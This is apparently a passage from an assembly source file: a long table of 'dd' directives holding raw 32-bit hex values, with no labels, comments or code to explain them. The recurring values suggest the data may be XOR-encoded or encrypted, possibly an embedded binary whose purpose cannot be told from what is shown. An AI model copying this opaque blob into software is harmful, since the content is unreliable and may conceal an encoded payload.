dd 36443215h, 0C6832A31h, 9ED2CB4Eh, 0F54BE8DAh, 0E3EA921h
dd 0BC420AD7h, 6610B11Ah, 997D3215h, 7453C3A0h, 6CA43D13h
dd 8F113215h, 66883210h, 0FF84F154h, 2EA7BFD8h, 8F17202Eh
dd 6688321Ch, 4FB62E30h, 81CFE0B1h, 9EC1CD3Bh, 0F7E4B79Ch
dd 61AD340Ch, 0F7223215h, 9CB108D9h, 0DB0B8C77h, 60563CFCh
dd 99A73D15h, 8F113215h, 66883210h, 7F1AE737h, 0A7A7F4C4h
dd 23172000h, 6689B31Ah, 0EBC3215h, 9C024C93h, 661DB81Ah
dd 69E83215h, 6644329Eh, 0EF9B5415h, 61F853DFh, 6B883215h
dd 0E65B2874h, 0D3DDA16Fh, 600325E4h, 8F4EB875h, 66443213h
dd 0B63D1842h, 8F70F76Eh, 66883201h, 0FD389DF0h, 0BCE2DC37h
dd 0ED9ACE6Bh, 273D099Dh, 0BA2942ABh, 5D6AB798h, 99E43407h
dd 6684DBC5h, 1CAC3215h, 478F563Eh, 0E2545A44h, 0E301960Fh
dd 605DA365h, 663BB61Ah, 72F83215h, 15883215h, 111842D2h
dd 1FAE85A5h, 52104038h, 569CBD54h, 0A01915CDh, 7437F390h
dd 0E01E7E13h, 66883218h, 66C93D75h, 223215h, 0F9FCF994h
dd 0B64B5A74h, 724D233h, 9797CDECh, 69172002h, 6688339Bh
dd 0E3C9CE15h, 6030095Dh, 9AC1CDE0h, 0F7FCB79Ch, 0E14B340Ch
dd 66223219h, 6617B01Ah, 0EF873215h, 66443215h, 6622F9FCh
dd 0E3D7CB15h, 609A27D4h, 6643DB47h, 58DF3215h, 171FFED0h
dd 6681DB06h, 5AA43215h, 59C8066h, 0ED59567h, 0DAC2D618h
dd 0E7F1CDECh, 8F242025h, 6611321Fh, 0ACBBEF4h, 0F5DE7683h
dd 0E3AFDEA8h, 6003095Dh, 9E58CDE9h, 0F734B79Ch, 6DA340Ch
dd 0F1F1B373h, 76033D46h, 8F443215h, 6622321Eh, 4AA50FC8h
dd 8A1DD1DCh, 7926BE7h, 73E3B7D3h, 9F433407h, 2AC27A7Dh
dd 664DDBB3h, 0CA6F3215h, 41AF3CF6h, 99325806h, 7474B3A0h
dd 662CDB13h, 6C63215h, 54E0CAC3h, 73D69FF2h, 48D039C1h
dd 5D59B798h, 6C613407h, 47443215h, 0D369A6Ch, 0BFCBDF82h
dd 9E58CDCDh, 0F730B79Ch, 6FCB340Ch, 0E2113215h, 5EC2988Eh
dd 2D191D36h, 73E3B7D3h, 8F433407h, 6688321Dh, 62BEB8C2h
dd 2458ABE2h, 24A5D87Dh, 6698DBE8h, 59713215h, 0D08B272Ch
dd 0EF42279Eh, 0C15829F5h, 0D3BBB167h, 603025E4h, 2E94BFECh
dd 68E202Eh, 8FFDF395h, 6622321Eh, 0A37CC9E7h, 0B27E812Ch
dd 7F0FD47h, 91953D75h, 66933D75h, 30883215h, 9925534Dh
dd 6636DBC5h, 837F3215h, 0B1A5CEDDh, 710E4141h, 87EED470h
dd 9EDD9DA0h, 0EF71499Bh, 746DA390h, 6AA43D13h, 69113215h
dd 6688349Eh, 66CD3D15h, 0A0223215h, 7404F390h, 0E84513h
dd 0ED6EF194h, 66223AFCh, 523B5815h, 4B248545h, 0C52C5312h
dd 6D1A5BDh, 7E8EA9Fh, 55D587EAh, 69AD3407h, 4E223215h
dd 2B7B2EE8h, 0CAB222E7h, 0B8092CB3h, 0E3AFEB02h, 6003095Dh
dd 66883CFCh, 3D8DF15h, 1CEE6388h, 6CE5A812h, 995F91BFh
dd 6656DBC5h, 91823215h, 0DCF8B470h, 9973D1Ch, 0B112A4ABh
dd 27496CC2h, 4C20B79Ch, 0E83407h, 0BAA7D094h, 743CE75h
dd 73D0B7D3h, 93DA3407h, 0BB75257Dh, 6EA33D9Fh, 69113215h
dd 6688309Bh, 99255215h, 7435C3A0h, 6602DB13h, 0BD163215h
dd 0BFCB0E29h, 0B1B26E6Eh, 669157B4h, 0FC2E0297h, 2EC1BF58h
dd 8F24202Eh, 6611321Ch, 13438D0Ch, 0D8027B7Dh, 8FF2CDBAh
dd 6611321Eh, 928C33F7h, 0C9CCF59h, 0EF82D3E4h, 74217790h
dd 0E34ECA13h, 605627D4h, 5F4ACB43h, 8FC52D78h, 66883213h
dd 0F5C399E8h, 61CBD40Dh, 0C0113215h, 91EFA111h, 0D3BB73B7h
dd 60300314h, 66113DFCh, 1870AE15h, 85CF8667h, 0DA77F94Ah
dd 5F53A2D4h, 668839FCh, 980C3215h, 344F0405h, 9092045Bh
dd 0E4F2B798h, 69243400h, 0D49BFCAAh, 755BFA0h, 0BE035475h
dd 694CD74h, 66223FFDh, 19240915h, 0B016B14Bh, 0F50358CBh
dd 0ADA982CDh, 0A1DAB34Ch, 7CFA316h, 5545B79Ch, 69CB3407h
dd 7B113215h, 0DD8FA32Ah, 9B6249CEh, 0DF40A52Fh, 0E3D70AD6h
dd 609A27D4h, 664EDB52h, 0DF7F3215h, 48737801h, 0B219682Fh
dd 0BA54487Dh, 662ADB94h, 84713215h, 397E1E3Eh, 0D3BB7B31h
dd 603025E4h, 0E39CCBEDh, 609A095Dh, 664ABF1Ah, 0E7423215h
dd 0ACC71EFAh, 66033D32h, 7443215h, 42E2EAh, 8E3745ABh
dd 66883204h, 433EC85Dh, 0D44D9197h, 0F464A7F7h, 0C75C69D8h
dd 0A9F33DD1h, 0E3AB534Ah, 60032CFCh, 6689B81Ah, 0A0B83215h
dd 7437F390h, 68F87513h
dd 4883215h, 180D021Eh, 0EED91D44h, 7A62941Eh, 0D36A5A15h
dd 8F24B81Ah, 66223210h, 307AC7B8h, 0A5035407h, 97F1CD74h
dd 6242002h, 6611B51Ah, 0E7D93215h, 4183FADBh, 0EB43684Dh
dd 742A7A90h, 0B677CA13h, 278575h, 751CDAEh, 0F785B79Ch
dd 6961340Ch, 0BE443215h, 0FC9F7BF4h, 0AD3CDA7h, 89BBDCB2h
dd 0E383AC26h, 6030263Ch, 6611326Dh, 668834FCh, 0A9F80915h
dd 0E5685FEBh, 74305FA8h, 0E2873213h, 66442B04h, 662EB91Ah
dd 0EE1E3215h, 66883213h, 6644B21Ah, 0E3E43215h, 600327D4h
dd 6F053D59h, 6443215h, 0C8D4B373h, 7908108h, 0BC94DB7Dh
dd 6BCF3DCCh, 6223215h, 0CF50C2ADh, 66083D6Eh, 7443215h
dd 71D387EAh, 0EBE83407h, 74B37A90h, 6654DB13h, 8E103215h
dd 0B3884AEAh, 36DA7556h, 2BE0E0B0h, 0B6DD0369h, 6FF95275h
dd 0A9883215h, 0C6FCFDB3h, 7BC1E3DDh, 661DDB4Ah, 0B5DC3215h
dd 0E54F61FAh, 63052260h, 0D1705F84h, 0E30153F6h, 605DA395h
dd 6628DB75h, 0E8843215h, 0A7533BDBh, 0B3D80F20h, 0E3E4CB74h
dd 600327D4h, 69073D59h, 8F443215h, 6622321Fh, 0DEBDE62Dh
dd 9F76F102h, 69AD035Dh, 0E7223215h, 0B98C40Bh, 5E7FAF8Eh
dd 88921CD3h, 0A84AA179h, 6CC46CBh, 66883DFCh, 0D9159C15h
dd 3A52F566h, 0EAA68262h, 67FA1F6Ch, 330AC394h, 9F4304D3h
dd 71E087EAh, 0EB713407h, 747F7A90h, 8F42CB13h, 6611321Fh
dd 0E271F04Fh, 82013ACBh, 0A9985AD4h, 7483F20h, 0EF71E2EAh
dd 7FD5B690h, 0E72DCE13h, 66113205h, 668839FCh, 90CABF15h
dd 0C0E1CDACh, 9F31C3EEh, 7349B7D3h, 6083407h, 0ED786375h
dd 63F953E6h, 58883215h, 0EA45A877h, 77CE49Eh, 0E7930D7Dh
dd 6680DBA2h, 10C13215h, 189B75E5h, 0D3EE8354h, 609A25E4h
dd 664426FCh, 3DFB1D15h, 5551CD55h, 0BEC66E0Ch, 18DBF370h
dd 5680A6FAh, 2E94BF93h, 698E202Eh, 6644289Eh, 7425215h
dd 661122FDh, 0B41DF315h, 75952A21h, 0BE0B479h, 0CE33D33h
dd 99E96956h, 7BC73DC5h, 6223215h, 661139FDh, 0F9046F15h
dd 0F53A4946h, 270E5E54h, 6614DB4Fh, 52D13215h, 7BABB8Ch
dd 0F7AAB79Ch, 71340Ch, 77DFA9Eh, 7385B7D3h, 66E3407h
dd 43F70BADh, 7EE05354h, 8FF71D55h, 6622321Fh, 0DD5A46BFh
dd 9A9B13CAh, 0D3BB8A5Bh, 603025E4h, 661123FCh, 4429B815h
dd 0E1F05CB9h, 0AEAFA247h, 0A58A7901h, 0E30527B7h, 6056095Dh
dd 6624BB1Ah, 31713215h, 7E9524Bh, 0EA4BE2EAh, 66223214h
dd 0EE94BBECh, 68E2B84h, 47FC5443h, 31916CD5h, 0A794F474h
dd 208E2000h, 0FFB1B275h, 2EEDB373h, 72795343h, 632EC13h
dd 91FF5444h, 99436958h, 7406C3A0h, 0A9095213h, 277EDE8Ah
dd 643CC9Eh, 25A1EB94h, 0C0317A2Ah, 72EADE8h, 5D6AB798h
dd 0EB1E3407h, 66883214h, 694CDE9h, 0E3AB53E9h, 6008A385h
dd 6689B81Ah, 0A0B83215h, 7437F390h, 6717513h, 0D03EC2AFh
dd 725527Eh, 9C118C73h, 766B5A74h, 0D0E8B3C9h, 1B84B232h
dd 9797CD74h, 6172002h, 668839FDh, 0A0F615h, 31E5122Ah
dd 26612955h, 6688BA1Ah, 61D3215h, 6622B11Ah, 14A63215h
dd 0E3055374h, 6056095Dh, 662238FCh, 34567115h, 0C25A9745h
dd 99754E58h, 68CBCBC5h, 27113215h, 3488827Fh, 9FCD2856h
dd 0E47C2E24h, 0FE94BBFBh, 68E2B84h, 6646BD1Ah, 0B1A93215h
dd 0E3D753E0h, 609A27D4h, 0CA2CCA52h, 93CDB59Bh, 71E087EAh
dd 6C613407h, 0AA443215h, 0C7ACCC6Bh, 0E391E2ABh, 2E0DBFA0h
dd 9F42202Eh, 77CBE2EAh, 39113215h, 6840B5EFh, 59A7340h
dd 22AE6647h, 0A4B2D53Dh, 0F714B79Ch, 9324340Ch, 0A7A7F474h
dd 21172000h, 0C15A5AECh, 99B1E68Fh, 7435C3A0h, 699D3D13h
dd 6883215h, 8FF7DD95h, 66223210h, 63134790h, 0E305535Bh
dd 6056095Dh, 0B6DDCEEDh, 6AF9CE75h, 0A7883215h, 0F4D7B37Ch
dd 0BB788CDEh, 8F25B28Ch, 66883213h, 1BBCF48h, 77BBE36h
dd 0F7B1B79Ch, 8F70340Ch, 6644321Eh, 0FE32326Bh, 2B89FCFAh
dd 0A029643Dh, 7451F390h, 0D2427513h, 627953C8h, 6932F32Ch
dd 66442796h, 6632DB15h, 4C293215h, 0BA7D96EFh, 914D8021h
dd 4004A011h, 0D3EE09E7h, 609A25E4h, 64C73D75h, 34223215h
dd 0DCF3B24Eh, 5D3B5274h, 0E3C953EDh, 6030095Dh, 6617DB75h
dd 58853215h, 0AF1EF0C0h, 4EE5B344h, 3F378F19h, 658CD74h
dd 0EF25F09Eh, 7FB39690h, 75953D13h, 8F883215h, 6644321Bh
dd 0FAB17999h, 14541446h, 7F35DCFCh, 0ED2410E3h, 0DBA153D6h
dd 60032534h, 0A30D3D15h, 6443215h, 66223BFDh, 0D7DC5215h
dd 2AFEFBECh, 0E44BA752h, 66223215h, 23F0B34Fh, 7F8292Dh
dd 7385B7D3h, 6653407h, 77F841A4h, 0AF883215h, 4D648196h
dd 2A8FE3FFh, 4F54E5B1h, 2633CC60h, 6654DB74h, 15023215h
dd 723BF843h, 3C340A78h, 8E4F8896h, 14A044Bh, 93F14038h
dd 717987EAh, 63AD3407h, 42223215h, 0E2C88C7Dh, 6686B91Ah
dd 6FAD3215h, 0C5223215h, 994BA29Ch, 17A715EFh, 5D0CB798h
dd 99DE3407h, 661EDBC5h, 9E533215h, 0D536C522h, 32C05914h
dd 0ACCC57C9h, 0CE0DBB7Ah, 8F422B84h, 6622321Fh, 4B518B34h
dd 1D75F346h, 77AD20E5h, 0F5223215h, 0FA7BB7AAh, 42EEE98Dh
dd 0A638F4B3h, 0F12965CDh, 73D0B7D3h, 6CF3407h, 505103AEh
dd 2CF3B272h, 679A3D74h, 9E883215h, 4FF7837Dh, 0D3DDC79Bh
dd 600325E4h, 668DDA75h, 8BAC3215h, 0EC33E860h, 0EB706AC8h
dd 74B37A90h, 6655DB13h, 0FC293215h, 0D6DE9C25h, 7E12916Ah
dd 0B304E352h, 998C0DE1h, 357152C5h, 749B84Ch, 792D895h
dd 0F78EB79Ch, 61F8340Ch, 0A0883215h, 7CC58CF5h, 0E3E4462Ah
dd 600327D4h, 6699DB56h, 122A3215h, 84154F7Ah, 5EBCB73Dh
dd 4EC1C069h, 0E6AE7A7h, 0A65478B2h, 0D3EECEEDh, 609A25E4h
dd 2EC1BFEDh, 624202Eh, 0E11EC39Fh, 6688321Bh, 66443BFCh
dd 0BC2EC615h, 4E500537h, 9FE968EFh, 6FADE2EAh, 44223215h
dd 29AB4D64h, 9500614Bh, 0F7F4B79Ch, 74CB340Ch, 0DE113215h
dd 6F584F8Bh, 23728A70h, 6BD2AE57h, 0B2D11AE2h, 6686DB21h
dd 59E83215h, 6E1D8C43h, 0E980C5F9h, 0AC54B1F1h, 7385B7D3h
dd 696E3407h, 66113A9Eh, 745215h, 3350E194h, 0AC95A74h
dd 72F8C973h, 22883215h, 697AD5A8h, 2BE9E5EFh, 462C835Ch
dd 11663140h, 990FFF97h, 74116FA0h, 0D2E45213h, 0E30553D8h
dd 6056095Dh, 8FF2CDE9h, 66113213h, 6BBBC61Ch, 0E3CDCF9Dh
dd 603BA051h, 66113AFCh, 255BBA15h, 0CA16B9F0h, 0A7A7F46Bh
dd 22172000h, 668823FCh, 2A940815h, 2CD4C38Ch, 0C666FEA9h
dd 0FCE36B44h, 332C3785h, 699419Bh, 661137FDh, 0D35A8E15h
dd 724A6C7h, 7F2B94Fh, 71E087EAh, 6B613407h, 443215h, 847F56CEh
dd 68218813h, 233FCDD8h, 6642B01Ah, 69423215h, 7E8FBA2h
dd 5DC0B798h, 0EF4B3407h, 66223214h, 9FC1CDE9h, 0F73CB79Ch
dd 69B8340Ch, 66223391h, 0E3D7CB15h, 609A27D4h, 8CFF5256h
dd 752EC8Bh, 0E87FCE7Dh, 71033DA9h, 6443215h, 8FFD8D1Ah
dd 66113218h, 0C2CDFA71h, 978AE7Bh, 2857CBC0h, 0D3EE5382h
dd 609A25E4h, 664CBD1Ah, 0E52D3215h, 66113217h, 0E3055375h
dd 6056095Dh, 662238FCh, 0CA43B915h, 80AEC6Bh, 994159A7h
dd 9DA952C5h, 0DE94BB74h, 698E2B84h, 66441390h, 0EA2D5215h
dd 66113215h
dd 668826FCh, 1D7E3B15h, 1AB9B432h, 0D7C87752h, 0AACB9EB8h
dd 0A439C2B9h, 0E3E45367h, 600327D4h, 67013D46h, 9E443215h
dd 761C987Dh, 0DF7752D3h, 8FE8BE40h, 6644321Ah, 0C6FB6013h
dd 97C4A536h, 95C66BEFh, 0E733366Fh, 0F69FA3E2h, 99705373h
dd 749FC3A0h, 6641DB13h, 5C4A3215h, 64F6641h, 64C395h
dd 71B80ADh, 5D6AB798h, 0ED1E3407h, 66883201h, 66443DFCh
dd 8FFB3F15h, 0D537AB8Eh, 3FD3F260h, 74ECC598h, 8F42E2EAh
dd 6611321Eh, 24A4A561h, 3057C128h, 6BF1A3Fh, 6611B11Ah
dd 0E9873215h, 66443215h, 0E3AB5374h, 6008A3A9h, 668821FCh
dd 0EDBDE115h, 12179C63h, 712D5699h, 6D293762h, 0A01107FCh
dd 48438F96h, 69113407h, 668B4291h, 8E24C715h, 66223218h
dd 0F409ED49h, 8716E687h, 0B35C8AC2h, 38435269h, 7D0B973h
dd 7349B7D3h, 8F023407h, 6622321Ch, 2EA6BEE0h, 4A78A79Ah
dd 0A8755AD0h, 0EE2DC883h, 66113212h, 6689BA1Ah, 99B83215h
dd 7435C3A0h, 0E39CCE13h, 609A095Dh, 6994CDE0h, 6622369Ah
dd 3E415215h, 7E0DBB74h, 8F422B87h, 6622321Bh, 93A8EEFDh
dd 6E50C9CAh, 0B33D161Ah, 0E3E49AB6h, 600327D4h, 80085253h
dd 0BECF5483h, 5CF45A74h, 0E81ECEB2h, 66883200h, 664BBA1Ah
dd 6CCB3215h, 0B2113215h, 4D98FB6Eh, 0E51C072Fh, 9797CDA5h
dd 93172002h, 5DC0B798h, 0EB4B3407h, 66223214h, 8FC1CDE0h
dd 6688321Fh, 94E814ADh, 3E134F0Ch, 0E398C2AAh, 6091A03Dh
dd 0A5C55475h, 0A0436157h, 7404F390h, 0E7D7413h, 0F4B89615h
dd 662EB41Ah, 0E41E3215h, 66883213h, 6644BE1Ah, 0D3DD3215h
dd 600325E4h, 620D3DECh, 6443215h, 0EB435375h, 742A7A90h
dd 0B677CE13h, 664422FCh, 0ED748015h, 0E8FF1A60h, 6896FBC4h
dd 0A3F60A46h, 4AA7BBDDh, 69172B87h, 66883691h, 0BFCF5215h
dd 0A7A7F474h, 20172000h, 66883DFCh, 0B2AA7C15h, 0D425105Fh
dd 0C7DC625Fh, 0CD1A0156h, 0B20B587Dh, 0E02DC7E3h, 66113202h
dd 6687DB75h, 0BD8C3215h, 3024E423h, 8D4BA692h, 0F3988166h
dd 9925CE8Eh, 7435C3A0h, 69E95213h, 66882794h, 664BDA15h
dd 0F6513215h, 7EF3B591h, 0AA19502Ah, 4BE922Fh, 69436CABh
dd 6611249Fh, 6699DB15h, 2CAA3215h, 5CD9C391h, 0E7A32EF0h
dd 18FFF93h, 0EBB0C9AEh, 74197A90h, 85905213h, 2025EAA2h
dd 0BEB3B373h, 0B6DD5333h, 0D11E52E9h, 903154C4h, 0E3CD5360h
dd 603BA025h, 6610B01Ah, 0A0703215h, 7451F390h, 8F427413h
dd 66113204h, 0EEAA9775h, 1742393Dh, 2EEFB38Eh, 0E87ABF90h
dd 80095451h, 0E25F2C7h, 0F2EF62F2h, 661123FCh, 0DDD0CF15h
dd 7B2F58BFh, 7EAE223h, 0F748351Ah, 0D377194Ch, 605625E4h
dd 3EDE6575h, 661139FCh, 81B31015h, 4360609h, 0B0025A93h
dd 2E94BF74h, 698E202Eh, 6644339Fh, 0B6DDCB15h, 661138FCh
dd 939E1F15h, 0BF3807B3h, 0EF659FCFh, 7F832E90h, 6687DB13h
dd 18293215h, 0B8A291B8h, 11B15FF9h, 0A5C4A01h, 0A7C1F444h
dd 20242000h, 64983D75h, 0D1883215h, 664EDA2Ch, 0B30B3215h
dd 0F3FD5486h, 58A5BF4Ah, 664420FDh, 0B74ADF15h, 0EDAFB816h
dd 9DD6D588h, 0A2AB5C1Ch, 3D90B80Ah, 5D79534Bh, 9E391061h
dd 71B587EAh, 0EBDB3407h, 742A7A90h, 7F043D13h, 69443215h
dd 6622219Eh, 661FDB15h, 5B513215h, 5EF7C94Dh, 610B107h
dd 56BB8B4Eh, 0EF70E2EAh, 7FD61290h, 6624DB13h, 8CE73215h
dd 1B6F70EBh, 7385B7D3h, 8F643407h, 6611321Fh, 952C4A11h
dd 2A1944FDh, 8B4A26E1h, 8FCE4BFFh, 66883201h, 0A4787356h
dd 6929DD6Eh, 12899D14h, 0FDFF7FF4h, 7123414Ah, 6623BD1Ah
dd 99E83215h, 749FC3A0h, 69C43D13h, 8F223215h, 6611321Fh
dd 264D488Fh, 655463ACh, 0E3AF7C6Eh, 6003095Dh, 2B568B75h
dd 0E14B6E5Bh, 66223214h, 0B6EE53E9h, 297BB375h, 71DA452h
dd 0D12DCE75h, 0E39853ECh, 6091A031h, 47F9B1ECh, 66242002h
dd 669CB71Ah, 0EB873215h, 66443214h, 0E3E4CAECh, 600327D4h
dd 7E043D46h, 8F443215h, 66223206h, 72C2991Ch, 454E9501h
dd 70A2548h, 8B999300h, 0E2DBA63h, 0A836D24Bh, 97F1CDE0h
dd 69242002h, 66112393h, 0D9875215h, 6642DAC3h, 0DB223215h
dd 5C5C905Eh, 6F61534Fh, 0B7443215h, 0E7C59422h, 1DBCB474h
dd 5DC0B798h, 99B83407h, 0E3ABCBC5h, 6008A3D5h, 6684B41Ah
dd 0EF4B3215h, 66223213h, 6611BC1Ah, 0E9873215h, 66443212h
dd 6623BA1Ah, 0A0E93215h, 749DF390h, 74AD7513h, 3223215h
dd 44ADD281h, 0DBBB16ECh, 0FDC1D4D9h, 0F4848A60h, 6EF95295h
dd 64883215h, 102523A6h, 0E648DDA1h, 4EC9DCh, 6651C294h
dd 38C35A74h, 6ACBF5A4h, 0F0113215h, 80C81E48h, 73A26EA4h
dd 99D089D5h, 7406C3A0h, 669ADB13h, 8FD93215h, 0B05D4F72h
dd 373765D8h, 2E90A772h, 0DAE73BF3h, 5D6AB798h, 6EF83407h
dd 70883215h, 1D508AF6h, 99BFDC1Ch, 67943DC5h, 93883215h
dd 0F780B79Ch, 0E5DA340Ch, 740613A8h, 0E3873213h, 6644324Ah
dd 0AE1B275h, 7A1D295h, 7349B7D3h, 9E033407h, 45C377Dh
dd 0D3EECEF3h, 609A25E4h, 664438FCh, 5F49E415h, 433509FCh
dd 0EB120719h, 747F7A90h, 62AD3D13h, 6113215h, 99E9E29Eh
dd 81C452C5h, 60A73D9Fh, 0E7113215h, 0E8C95CF5h, 24537Eh
dd 9FA9F09Eh, 0AE94BB74h, 68E2B84h, 0A025C89Eh, 7437F390h
dd 0EED7113h, 0F4F23BE3h, 389DB375h, 69493C96h, 66113199h
dd 97373D15h, 97F1CD74h, 93242002h, 5D59B798h, 6E83407h
dd 70DDD95h, 7F18D1Ah, 0EFE8E2EAh, 7F19FE90h, 0E382CB13h
dd 603027D4h, 78923D56h, 6883215h, 664420FCh, 32CCFC15h
dd 1D64A66Dh, 0AFD490DDh, 0E2D34A6h, 0DF2F1BD8h, 74BDE29Ch
dd 0F1A85A74h, 0EE4BCE34h, 6622320Dh, 661121FCh, 0B7D80C15h
dd 1075C10Eh, 0ED7806D1h, 4876760Ch, 0A42FD2B0h, 71B587EAh
dd 0EA2D3407h, 6611321Dh, 668ABE1Ah, 7243215h, 5D6AB798h
dd 9F713407h, 0B681F094h, 99257B9Ch, 6632DBC5h, 7CF73215h
dd 43AA024Bh, 0ACE75D2Fh, 0DB9A10E0h, 0E3986F66h, 6091A3C5h
dd 6643BB1Ah, 0E42D3215h, 66113214h, 4735B1E0h, 66422002h
dd 6711B71Ah, 68F83215h, 0AA883215h, 212DADF7h, 0DA8BD97Dh
dd 0AC4BAC0h, 0A70DF475h, 25422000h, 66223EFCh, 0E7F69415h
dd 1D25B474h, 0BD3C93D5h, 0CE215A93h, 0E51EB915h, 66883200h
dd 664CDB75h, 9C5B3215h, 0C26C7804h, 0E287A233h, 66443215h
dd 9797CD74h, 69172002h, 66883A9Dh, 64C33D15h, 6223215h
dd 2E94BF74h, 8F8E202Eh, 6644321Ah, 0A0E6CA67h, 0FE19A9E7h
dd 120B4E62h, 999162B7h, 42CAC5h, 0D7133CAAh, 0E301531Bh
dd 605DA3CDh, 662234FCh, 53DACD15h, 8F34B91Ah, 6644321Eh
dd 497BEF8Fh, 92FE6C26h, 0A04EC31Ch, 7451F390h, 0E52D7113h
dd 66113212h, 6689B31Ah, 0EBC3215h, 837904C0h, 661139FCh
dd 0C2A08915h, 0C6EA4936h, 1ED48DBBh, 6CF8CB75h, 5E883215h
dd 6C901C21h, 82108D9Fh, 0D3EE5311h, 609A25E4h, 6B15275h
dd 77CB5374h, 4B113215h, 0E8C22A32h, 0FDD6620h, 0F7751C9Ch
dd 0BC51A27Ah, 0E305CB74h, 6056095Dh, 6625B41Ah, 0E71E3215h
dd 66883214h, 8F94CDE9h, 6622321Bh, 26D6B1E8h, 3D062ABEh
dd 374BE90Ah, 0E3ABDD3Bh, 6008A3C1h, 0A70DF4EDh, 25422000h
dd 54C35AECh, 71D8BFh
dd 31D19AACh, 71E6943h, 66223EFCh, 0B8CC2315h, 0E11712B2h
dd 111E2A02h, 9797CDDBh, 8F172002h, 66883201h, 0F42A90A7h
dd 0E4C0338Dh, 8EAEB25Fh, 84713A97h, 0B796D25Fh, 2EA7BFE0h
dd 9E17202Eh, 7761E2EAh, 84443215h, 0B31EF03Ah, 940B301Dh
dd 0F67D0292h, 3F7C3283h, 0F7FEB79Ch, 68F8340Ch, 28883215h
dd 0B82A0456h, 381CE667h, 97AC6499h, 0A70DF447h, 25422000h
dd 6629DB75h, 34733215h, 816EBCE8h, 8B3F4A54h, 6DA73D23h
dd 8F113215h, 66883213h, 19485597h, 0E437DFAh, 0E2E09E22h
dd 973DCDEDh, 9A422002h, 5D6AB798h, 6FF83407h, 17883215h
dd 0E6E3CCDCh, 9636FD27h, 0E61EE2EAh, 6688321Ch, 849EB275h
dd 0FFF78973h, 8694BB74h, 68E2B84h, 699DB973h, 6622349Bh
dd 66933D15h, 7883215h, 66443BFCh, 9CA3AC15h, 9F22925Ch
dd 0E34EEF3Eh, 605627D4h, 77AB3D5Ah, 8F113215h, 66883219h
dd 0C3387396h, 0F6E4B053h, 0E2F58084h, 5318E67Dh, 0D3BBC782h
dd 603025E4h, 2E94BFECh, 68E202Eh, 741C8D73h, 9943F89Eh
dd 0A99052C5h, 327CC095h, 0EF25EEA1h, 7FB3D690h, 6B9B3D13h
dd 6883215h, 664434FCh, 75738815h, 72E62F9h, 7349B7D3h
dd 60B3407h, 662221FCh, 0E889CB15h, 8ECCFECEh, 0EABDC884h
dd 0A6736Eh, 472A664Ah, 66883CFCh, 6BEE2615h, 5068A28Ch
dd 463FFAB2h, 7CE0D09h, 84A307Dh, 7DA33DECh, 69113215h
dd 66882797h, 6654DB15h, 22C03215h, 0C35BDB23h, 5BA12FD1h
dd 8CBF737Dh, 0D3DD4E14h, 600325E4h, 6687DB75h, 0E80A3215h
dd 8C60A164h, 0D3D90617h, 7D92D7A5h, 76783B7h, 5D6AB798h
dd 8F713407h, 6688321Eh, 301535C2h, 0C1A439BDh, 8E4DF80Dh
dd 66883218h, 3E6C0D0Bh, 244CA069h, 619925E2h, 66033DEDh
dd 38443215h, 0B6DDCB74h, 61993DE0h, 6883215h, 0A6C45375h
dd 0E3AB53F7h, 6008A3FDh, 6686DA75h, 0E4143215h, 2C56F975h
dd 9C658957h, 58DACFDBh, 99781CAAh, 0ED446B2Fh, 0E3D753E6h
dd 609A27D4h, 8F155258h, 6622321Eh, 779DDDF3h, 0CD413611h
dd 3C6C9C06h, 7D5B973h, 661DB21Ah, 61613215h, 3443215h
dd 0F69F1D96h, 2F79E27Bh, 9E40056Ch, 65CF3D75h, 0E6223215h
dd 0B4911BD1h, 0D37753F9h, 605625E4h, 66223DFCh, 3D887415h
dd 0AF932515h, 9E6002E5h, 0B0B0E6A3h, 5D59B798h, 99713407h
dd 6EC53DC5h, 6223215h, 28988A73h, 9EE95375h, 0F7B4B79Ch
dd 42340Ch, 7E07CABh, 7349B7D3h, 69093407h, 66221792h
dd 6DF85215h, 0D1883215h, 0FC76BF97h, 413E9AA4h, 68F8DF04h
dd 0CB883215h, 648BA211h, 74BA8FF2h, 8B2E7B36h, 756153A7h
dd 0A9443215h, 0D1C7C535h, 6AF03BEh, 0B8DB6662h, 7FDDD648h
dd 0EF4AB1DFh, 6CDC558h, 668EB51Ah, 0E54B3215h, 66223215h
dd 6613BE1Ah, 39DF3215h, 67CB3D74h, 9E223215h, 71E087EAh
dd 0E7E83407h, 395C8EDFh, 71E9B27Ah, 0E39CCB74h, 609A095Dh
dd 6645B01Ah, 99D73215h, 75F852C5h, 0F1883215h, 0C8D147C3h
dd 2B02F78Fh, 91171D5h, 1CCA315Ch, 96C54BC8h, 55CEAF6Ch
dd 8A94BB74h, 8F8E2B84h, 66443212h, 0CB36D871h, 0A070A904h
dd 749DF390h, 68AD6713h, 0BE223215h, 0F38280B3h, 26AE66C9h
dd 0D4106A05h, 4B155A7Ch, 99EDAE0Eh, 749FC3A0h, 67C83D13h
dd 93223215h, 5D59B798h, 6D613407h, 92443215h, 3DAEEB23h
dd 1853AD20h, 0B6771181h, 664437FCh, 2D255315h, 0E398E6D9h
dd 6091A3E1h, 6645B81Ah, 0A0D73215h, 7404F390h, 6E617113h
dd 0ED443215h, 0A69D515h, 0EFAAC6Bh, 0B45DC23Fh, 664423FCh
dd 337B2115h, 6476B67h, 61ED5C4Ah, 18B2FF1Ah, 0D3DDF4F5h
dd 600325E4h, 6689B71Ah, 0EBBD3215h, 74197A90h, 661ADB13h
dd 9D9B3215h, 0BCA7EAF9h, 0C24A48EAh, 9EC1CD76h, 0F770B79Ch
dd 0EC4B340Ch, 66223200h, 661122FCh, 3C258D15h, 4172F8FFh
dd 5421CB0Eh, 50F858F5h, 0A70DF491h, 34422000h, 67A23D75h
dd 9F113215h, 668838FDh, 7F7F9E15h, 0AD09ADC1h, 3EDB6044h
dd 0D2625A74h, 0ED24CF57h, 9CF5B2E4h, 97A4CD74h, 68E2002h
dd 0A58BB373h, 0E3AF5322h, 6003095Dh, 6695B91Ah, 0E94B3215h
dd 66223202h, 661120FCh, 0C68C0F15h, 0C335DA31h, 0F56D17ECh
dd 0B8472D15h, 9952A4FFh, 61CA3DC5h, 69223215h, 66113393h
dd 0E301CA15h, 60561B84h, 0A7A7F4E0h, 21172000h, 668820FCh
dd 0F486EF15h, 4D1F9871h, 39A15DA4h, 3132852Bh, 0E8513E8h
dd 84BA6B8Ch, 661DB61Ah, 0E6873215h, 66443213h, 6622B51Ah
dd 0D3EE3215h, 609A25E4h, 0B18375h, 0EB43F09Eh, 742A7A90h
dd 6685DB13h, 29833215h, 1F03F730h, 0F17A26BDh, 9951E8F8h
dd 0EB4B52C5h, 66223210h, 7FC3B373h, 669BDB3Eh, 102A3215h
